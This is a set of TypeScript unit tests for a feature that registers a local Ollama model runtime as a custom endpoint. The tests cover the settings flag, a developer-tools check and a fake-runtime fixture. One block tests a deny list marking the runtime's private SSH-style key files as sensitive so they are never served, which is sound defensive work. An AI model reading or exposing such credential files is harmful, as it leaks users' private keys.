models: ['some-model'],
|
||||
};
|
||||
|
||||
const RECORD: CustomModelHost = {
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: 'http://127.0.0.1:11435',
|
||||
authStyle: 'bearer',
|
||||
models: ['qwen3.6:35b-a3b'],
|
||||
defaultModelId: 'qwen3.6:35b-a3b',
|
||||
defaultContextLength: 131072,
|
||||
};
|
||||
|
||||
function writeSettings(settings: Record<string, unknown>): void {
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
|
||||
}
|
||||
|
||||
const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
|
||||
|
||||
function writeHosts(hosts: CustomModelHost[]): void {
|
||||
writeFileSync(HOSTS(), JSON.stringify(hosts));
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(HOSTS(), { force: true });
|
||||
rmSync(SETTINGS_PATH, { force: true });
|
||||
rmSync(STATE(), { force: true });
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('buildLocalEndpointRecord', () => {
|
||||
it('is the one record this feature writes, to the letter', () => {
|
||||
expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
|
||||
expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
|
||||
expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
|
||||
});
|
||||
|
||||
it('carries no API key and no field of its own invention', () => {
|
||||
expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
|
||||
'authStyle',
|
||||
'baseUrl',
|
||||
'defaultContextLength',
|
||||
'defaultModelId',
|
||||
'id',
|
||||
'label',
|
||||
'models',
|
||||
]);
|
||||
});
|
||||
|
||||
it('passes the schema a saved endpoint must pass, unchanged', () => {
|
||||
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
|
||||
expect(parsed.success).toBe(true);
|
||||
expect(parsed.data).toEqual(RECORD);
|
||||
});
|
||||
|
||||
it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
|
||||
const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
|
||||
expect(record.baseUrl).toBe('http://127.0.0.1:11442');
|
||||
expect(record.models).toEqual(['gpt-oss:20b']);
|
||||
expect(record.defaultModelId).toBe('gpt-oss:20b');
|
||||
expect(record.defaultContextLength).toBe(65536);
|
||||
});
|
||||
});
|
||||
|
||||
describe('connectLocalModel', () => {
|
||||
it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toEqual({ ok: true, flagWasEnabled: false });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
|
||||
});
|
||||
|
||||
it('keeps every other endpoint and every other setting', async () => {
|
||||
writeHosts([OTHER]);
|
||||
writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toEqual({ ok: true, flagWasEnabled: false });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
|
||||
expect(readSettings()).toEqual({
|
||||
tmuxHistoryLimit: 5000,
|
||||
customModelEndpointsEnabled: true,
|
||||
voiceSettings: { apiKey: 'dg' },
|
||||
});
|
||||
});
|
||||
|
||||
it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
|
||||
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
|
||||
const before = readFileSync(SETTINGS_PATH, 'utf8');
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toEqual({ ok: true, flagWasEnabled: true });
|
||||
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
|
||||
});
|
||||
|
||||
it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
|
||||
writeHosts([OTHER]);
|
||||
const first = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(first).toEqual({ ok: true, flagWasEnabled: false });
|
||||
// The second connect finds the flag ON, because the first switched it on. The value that
|
||||
// is remembered must stay the one from before this feature touched it.
|
||||
const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
|
||||
expect(second).toEqual({ ok: true, flagWasEnabled: false });
|
||||
const hosts = await readCustomModelHosts(getDataDir());
|
||||
expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
|
||||
expect(hosts[1].defaultContextLength).toBe(65536);
|
||||
});
|
||||
|
||||
it('replaces our own record in place when the state says it is ours', async () => {
|
||||
writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
|
||||
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
|
||||
expect(result).toEqual({ ok: true, flagWasEnabled: true });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
|
||||
});
|
||||
|
||||
it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
|
||||
const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
|
||||
writeHosts([theirs]);
|
||||
writeSettings({ customModelEndpointsEnabled: false });
|
||||
const hostsBefore = readFileSync(HOSTS(), 'utf8');
|
||||
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
|
||||
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
|
||||
});
|
||||
|
||||
it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
|
||||
writeSettings({ customModelEndpointsEnabled: false });
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
|
||||
expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
|
||||
expect(result.ok === false && result.detail).not.toContain('sk-secret');
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
|
||||
});
|
||||
|
||||
it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeHosts([OTHER]);
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
|
||||
const result = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
|
||||
expect(result.ok === false && result.detail).toContain('settings.json');
|
||||
// The pair is not left half done: a later attempt starts from the same place.
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
|
||||
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
|
||||
});
|
||||
|
||||
it('a settings failure does not take out a record that was ours before this call', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeHosts([RECORD]);
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, 'not json');
|
||||
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
|
||||
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
|
||||
});
|
||||
|
||||
it('a port that cannot be a URL is connect-failed before anything is written', async () => {
|
||||
const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
|
||||
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
|
||||
expect(existsSync(HOSTS())).toBe(false);
|
||||
expect(existsSync(SETTINGS_PATH)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('moveLocalEndpoint', () => {
|
||||
it('moves our record to the new port and keeps everything else of it', async () => {
|
||||
writeHosts([OTHER, RECORD]);
|
||||
await moveLocalEndpoint(11441);
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
|
||||
});
|
||||
|
||||
it('a missing record is not an error and creates no file', async () => {
|
||||
await moveLocalEndpoint(11441);
|
||||
expect(existsSync(HOSTS())).toBe(false);
|
||||
writeHosts([OTHER]);
|
||||
await moveLocalEndpoint(11441);
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ensureLocalEndpoint', () => {
|
||||
it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
|
||||
writeHosts([OTHER]);
|
||||
writeSettings({ customModelEndpointsEnabled: false });
|
||||
expect(await ensureLocalEndpoint(INPUT)).toBe(true);
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
|
||||
// A person who switched the setting off meant to.
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
|
||||
});
|
||||
|
||||
it('never replaces a record that is there, ours or not', async () => {
|
||||
const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
|
||||
writeHosts([theirs]);
|
||||
const before = readFileSync(HOSTS(), 'utf8');
|
||||
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
|
||||
});
|
||||
|
||||
it('never throws: a store that does not parse is left alone', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(HOSTS(), '{broken');
|
||||
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
|
||||
});
|
||||
});
|
||||
|
||||
describe('disconnectLocalModel', () => {
|
||||
it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
|
||||
writeHosts([RECORD]);
|
||||
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
|
||||
await disconnectLocalModel({ flagWasEnabled: false });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
|
||||
});
|
||||
|
||||
it('leaves the flag on when it was on before this feature', async () => {
|
||||
writeHosts([RECORD]);
|
||||
writeSettings({ customModelEndpointsEnabled: true });
|
||||
await disconnectLocalModel({ flagWasEnabled: true });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
|
||||
});
|
||||
|
||||
it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
|
||||
writeHosts([OTHER, RECORD]);
|
||||
writeSettings({ customModelEndpointsEnabled: true });
|
||||
await disconnectLocalModel({ flagWasEnabled: false });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
|
||||
});
|
||||
|
||||
it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
|
||||
writeHosts([RECORD, OTHER]);
|
||||
writeSettings({ customModelEndpointsEnabled: true });
|
||||
await disconnectLocalModel({ flagWasEnabled: true });
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
|
||||
});
|
||||
|
||||
it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
|
||||
writeHosts([RECORD]);
|
||||
writeSettings({ customModelEndpointsEnabled: true });
|
||||
await disconnectLocalModel({ flagWasEnabled: false });
|
||||
const hosts = readFileSync(HOSTS(), 'utf8');
|
||||
const settings = readFileSync(SETTINGS_PATH, 'utf8');
|
||||
await disconnectLocalModel({ flagWasEnabled: false });
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
|
||||
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
|
||||
});
|
||||
|
||||
it('with nothing saved at all it writes neither file', async () => {
|
||||
await disconnectLocalModel({ flagWasEnabled: false });
|
||||
expect(existsSync(HOSTS())).toBe(false);
|
||||
expect(existsSync(SETTINGS_PATH)).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(HOSTS(), '{broken');
|
||||
writeSettings({ customModelEndpointsEnabled: true });
|
||||
await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
|
||||
});
|
||||
|
||||
it('connect then disconnect leaves the data dir as it was found', async () => {
|
||||
writeHosts([OTHER]);
|
||||
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
|
||||
const connected = await connectLocalModel({ ...INPUT, ours: false });
|
||||
expect(connected).toEqual({ ok: true, flagWasEnabled: true });
|
||||
await disconnectLocalModel({ flagWasEnabled: true });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
|
||||
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
|
||||
});
|
||||
});
|
||||
|
||||
describe('the reserved id and the managed record', () => {
|
||||
it('isLocalModelEndpointId is an exact match', () => {
|
||||
expect(isLocalModelEndpointId('local-ollama')).toBe(true);
|
||||
for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
|
||||
expect(isLocalModelEndpointId(id)).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('a record with the reserved id is managed only while the state file records it as ours', async () => {
|
||||
// No state file: somebody made that record by hand.
|
||||
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
|
||||
const installed = {
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
};
|
||||
writeFileSync(STATE(), JSON.stringify(installed));
|
||||
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
|
||||
);
|
||||
expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
|
||||
// Any other id is never managed, whatever the state file says.
|
||||
expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('sessionNamesUsingEndpoint', () => {
|
||||
const sessions = [
|
||||
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
|
||||
{ name: 'w2-app' },
|
||||
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
|
||||
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
|
||||
];
|
||||
|
||||
it('names the sessions on our endpoint, in the order given', () => {
|
||||
expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
|
||||
});
|
||||
|
||||
it('takes any iterable and another endpoint id', () => {
|
||||
expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
|
||||
expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('compareModelDigest', () => {
|
||||
const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
|
||||
|
||||
it('same digest, same model', () => {
|
||||
expect(compareModelDigest(digest, digest)).toBe('same');
|
||||
});
|
||||
|
||||
it('a prefix or another letter case is not a change', () => {
|
||||
expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
|
||||
expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
|
||||
});
|
||||
|
||||
it('another digest under the same name is a change', () => {
|
||||
expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
|
||||
expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
|
||||
});
|
||||
|
||||
it('is unknown when either side is absent or empty', () => {
|
||||
expect(compareModelDigest(undefined, digest)).toBe('unknown');
|
||||
expect(compareModelDigest(digest, undefined)).toBe('unknown');
|
||||
expect(compareModelDigest('', digest)).toBe('unknown');
|
||||
expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
|
||||
expect(compareModelDigest(undefined, undefined)).toBe('unknown');
|
||||
});
|
||||
});
|
||||
|
||||
describe('a record that says what ours would say is ours', () => {
|
||||
it('isSameLocalEndpoint: the address, the one model, its context and no key', () => {
|
||||
expect(isSameLocalEndpoint(RECORD, INPUT)).toBe(true);
|
||||
// What discovery may have added does not make it somebody else's.
|
||||
expect(
|
||||
isSameLocalEndpoint(
|
||||
{ ...RECORD, modelContextLengths: { 'qwen3.6:35b-a3b': 131072 }, lastDiscoveredAt: '2026-11-06T10:00:00Z' },
|
||||
INPUT
|
||||
)
|
||||
).toBe(true);
|
||||
const differs: Partial<CustomModelHost>[] = [
|
||||
{ baseUrl: 'http://127.0.0.1:11434' },
|
||||
{ label: 'My own' },
|
||||
{ models: ['qwen3.6:35b-a3b', 'gpt-oss:20b'] },
|
||||
{ models: ['gpt-oss:20b'], defaultModelId: 'gpt-oss:20b' },
|
||||
{ defaultContextLength: 65536 },
|
||||
{ apiKey: 'sk-not-ours' },
|
||||
{ authStyle: 'api-key' },
|
||||
];
|
||||
for (const change of differs) expect(isSameLocalEndpoint({ ...RECORD, ...change }, INPUT)).toBe(false);
|
||||
});
|
||||
|
||||
it('connectLocalModel takes such a record as ours although the caller did not say so', async () => {
|
||||
writeSettings({});
|
||||
writeHosts([OTHER, RECORD]);
|
||||
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: true, flagWasEnabled: false });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
|
||||
});
|
||||
|
||||
it('a record with our id that says something else is still somebody else: taken, and untouched', async () => {
|
||||
const foreign = { ...RECORD, baseUrl: 'http://127.0.0.1:11434' };
|
||||
writeHosts([foreign]);
|
||||
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: false, code: 'endpoint-id-taken' });
|
||||
expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('inspectLocalEndpoint: what the connect step finds before it claims the connection', () => {
|
||||
it('nothing saved and no settings file: absent, and the flag is off', async () => {
|
||||
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: false });
|
||||
});
|
||||
|
||||
it('reads the flag as it is now, and writes nothing', async () => {
|
||||
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
|
||||
writeHosts([OTHER]);
|
||||
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
|
||||
const hostsBefore = readFileSync(HOSTS(), 'utf8');
|
||||
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: true });
|
||||
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
|
||||
});
|
||||
|
||||
it("tells our record from somebody else's under the same id", async () => {
|
||||
writeHosts([RECORD]);
|
||||
expect((await inspectLocalEndpoint(INPUT)).record).toBe('same');
|
||||
expect((await inspectLocalEndpoint({ ...INPUT, port: 11436 })).record).toBe('other');
|
||||
});
|
||||
});
|
||||
|
||||
describe('moveLocalEndpoint', () => {
|
||||
it('a record that is already on the port is not written again', async () => {
|
||||
writeHosts([RECORD]);
|
||||
const before = readFileSync(HOSTS(), 'utf8');
|
||||
await moveLocalEndpoint(11435);
|
||||
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
|
||||
await moveLocalEndpoint(11440);
|
||||
expect((await readCustomModelHosts(getDataDir()))[0].baseUrl).toBe('http://127.0.0.1:11440');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the runtime keeps a private key that is never served', () => {
|
||||
it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
|
||||
const home = join(getDataDir(), 'local-model', 'home');
|
||||
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
|
||||
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
|
||||
expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
|
||||
expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
|
||||
});
|
||||
|
||||
it('the model store and the state file hold no secret and stay ordinary files', () => {
|
||||
expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
|
||||
expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,153 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/local-model/developer-tools.ts: whether this Mac has the
|
||||
* developer tools a coding agent calls.
|
||||
*
|
||||
* Pinned: the ONLY command it ever runs is `/usr/bin/xcode-select -p` (never `git` or
|
||||
* `python3`, which open a system window on a Mac without the tools), with a timeout; exit 0
|
||||
* is `present`, any other exit is `missing`, no answer is `unknown`; off macOS nothing is run
|
||||
* at all; nothing it is given can make it throw; and an answer is reused for a minute, so a
|
||||
* window that polls once a second does not spawn once a second.
|
||||
*
|
||||
* Port: N/A (the runner is injected; nothing is spawned).
|
||||
*/
|
||||
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
checkDeveloperTools,
|
||||
createDeveloperToolsCheck,
|
||||
DEVELOPER_TOOLS_TIMEOUT_MS,
|
||||
resetDeveloperToolsCache,
|
||||
} from '../src/local-model/developer-tools.js';
|
||||
|
||||
type Run = (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
|
||||
|
||||
/** A runner that answers `code` and records how it was called. */
|
||||
function runner(code: number | null): { run: Run; calls: [string, readonly string[], number][] } {
|
||||
const calls: [string, readonly string[], number][] = [];
|
||||
return {
|
||||
calls,
|
||||
run: async (file, args, timeoutMs) => {
|
||||
calls.push([file, args, timeoutMs]);
|
||||
return code;
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
resetDeveloperToolsCache();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('checkDeveloperTools', () => {
|
||||
it('runs exactly one command: /usr/bin/xcode-select -p, bounded', async () => {
|
||||
const { run, calls } = runner(0);
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run })).toBe('present');
|
||||
expect(calls).toEqual([['/usr/bin/xcode-select', ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS]]);
|
||||
expect(DEVELOPER_TOOLS_TIMEOUT_MS).toBe(2_000);
|
||||
});
|
||||
|
||||
it('never names git, python or xcrun, whatever the answer is', async () => {
|
||||
for (const code of [0, 1, 2, null]) {
|
||||
const { run, calls } = runner(code);
|
||||
await checkDeveloperTools({ platform: 'darwin', run });
|
||||
expect(calls).toHaveLength(1);
|
||||
expect(calls[0][0]).toBe('/usr/bin/xcode-select');
|
||||
expect(JSON.stringify(calls)).not.toMatch(/git|python|xcrun/);
|
||||
}
|
||||
});
|
||||
|
||||
it('reads exit 0 as present and any other exit as missing', async () => {
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(0).run })).toBe('present');
|
||||
// A Mac without the tools: "unable to get active developer directory", exit 2.
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(2).run })).toBe('missing');
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(1).run })).toBe('missing');
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(127).run })).toBe('missing');
|
||||
});
|
||||
|
||||
it('reads no answer as unknown: a timeout, a command that could not be started, a runner that throws', async () => {
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(null).run })).toBe('unknown');
|
||||
const throwing: Run = async () => {
|
||||
throw new Error('spawn EACCES');
|
||||
};
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: throwing })).toBe('unknown');
|
||||
// An exit code that is no whole number is no answer either.
|
||||
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(Number.NaN).run })).toBe('unknown');
|
||||
});
|
||||
|
||||
it('runs nothing off macOS and answers unknown', async () => {
|
||||
for (const platform of ['linux', 'win32', 'freebsd']) {
|
||||
const { run, calls } = runner(0);
|
||||
expect(await checkDeveloperTools({ platform, run }), platform).toBe('unknown');
|
||||
expect(calls).toEqual([]);
|
||||
}
|
||||
});
|
||||
|
||||
it('spawns nothing with the default runner under vitest', async () => {
|
||||
// The real `execFile` is never reached here: on a Mac this would otherwise run the command.
|
||||
expect(await checkDeveloperTools({ platform: 'darwin' })).toBe('unknown');
|
||||
// And with no argument at all it answers for this machine without throwing.
|
||||
expect(['present', 'missing', 'unknown']).toContain(await checkDeveloperTools());
|
||||
});
|
||||
});
|
||||
|
||||
describe('the cached check', () => {
|
||||
it('reuses an answer for a minute, then asks again', async () => {
|
||||
const { run, calls } = runner(2);
|
||||
let clock = 1_000_000;
|
||||
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => clock });
|
||||
expect(await check()).toBe('missing');
|
||||
// A window that polls once a second for a minute.
|
||||
for (let second = 1; second < 60; second++) {
|
||||
clock += 1_000;
|
||||
expect(await check()).toBe('missing');
|
||||
}
|
||||
expect(calls).toHaveLength(1);
|
||||
clock += 1_000;
|
||||
expect(await check()).toBe('missing');
|
||||
expect(calls).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('shares one run among callers that ask at the same time', async () => {
|
||||
let release: (code: number) => void = () => undefined;
|
||||
let started = 0;
|
||||
const run: Run = () => {
|
||||
started += 1;
|
||||
return new Promise((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
};
|
||||
const check = createDeveloperToolsCheck({ platform: 'darwin', run });
|
||||
const asked = [check(), check(), check()];
|
||||
await Promise.resolve();
|
||||
expect(started).toBe(1);
|
||||
release(0);
|
||||
expect(await Promise.all(asked)).toEqual(['present', 'present', 'present']);
|
||||
});
|
||||
|
||||
it('does not remember "unknown": a check that did not work is tried again', async () => {
|
||||
let calls = 0;
|
||||
// No answer the first time, exit 0 from then on.
|
||||
const run: Run = async () => (calls++ === 0 ? null : 0);
|
||||
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => 5 });
|
||||
expect(await check()).toBe('unknown');
|
||||
expect(await check()).toBe('present');
|
||||
expect(await check()).toBe('present');
|
||||
expect(calls).toBe(2);
|
||||
});
|
||||
|
||||
it('sees the tools once they were installed, after the minute', async () => {
|
||||
const answers = [2, 0];
|
||||
let calls = 0;
|
||||
let clock = 0;
|
||||
const check = createDeveloperToolsCheck({
|
||||
platform: 'darwin',
|
||||
run: async () => answers[calls++] ?? 0,
|
||||
now: () => clock,
|
||||
});
|
||||
expect(await check()).toBe('missing');
|
||||
clock = 59_999;
|
||||
expect(await check()).toBe('missing');
|
||||
clock = 60_000;
|
||||
expect(await check()).toBe('present');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,428 @@
|
||||
/**
|
||||
* @fileoverview Tests for test/fixtures/fake-ollama.ts, the fake model runtime every local
|
||||
* model test runs against. A fake that answers in the wrong shape makes every test built on
|
||||
* it prove nothing, so this file pins each answer and each switch once.
|
||||
*
|
||||
* It also shows how the fake is used: `startFakeOllama()` for a client test, and
|
||||
* `createFakeOllama()` plus `fake.spawn` and `freeLoopbackPort()` for a supervisor test.
|
||||
*
|
||||
* Port: none fixed (the fake listens on 0; the spawn test reserves a free port first).
|
||||
*/
|
||||
|
||||
import { execFile } from 'node:child_process';
|
||||
import { createHash } from 'node:crypto';
|
||||
import { mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { promisify } from 'node:util';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildFakeArchive,
|
||||
createFakeOllama,
|
||||
DEFAULT_FAKE_MODEL,
|
||||
fakeRuntimeLog,
|
||||
FakeRuntimeChild,
|
||||
freeLoopbackPort,
|
||||
INFERENCE_COMPUTE_LINE_MACBOOK,
|
||||
MACBOOK_MEASURED_TOTAL_BYTES,
|
||||
REAL_INFERENCE_COMPUTE_LINE_MAC_MINI,
|
||||
REAL_PULL_ERROR_LINE,
|
||||
startFakeOllama,
|
||||
type FakeOllama,
|
||||
} from './fixtures/fake-ollama.js';
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
|
||||
let fake: FakeOllama | undefined;
|
||||
|
||||
afterEach(async () => {
|
||||
await fake?.close();
|
||||
fake = undefined;
|
||||
});
|
||||
|
||||
/** Every line of a pull, parsed. `cut` is true when the body ended in an error instead of a clean end. */
|
||||
async function pull(target: FakeOllama, modelId = DEFAULT_FAKE_MODEL.id): Promise<{ lines: any[]; cut: boolean }> {
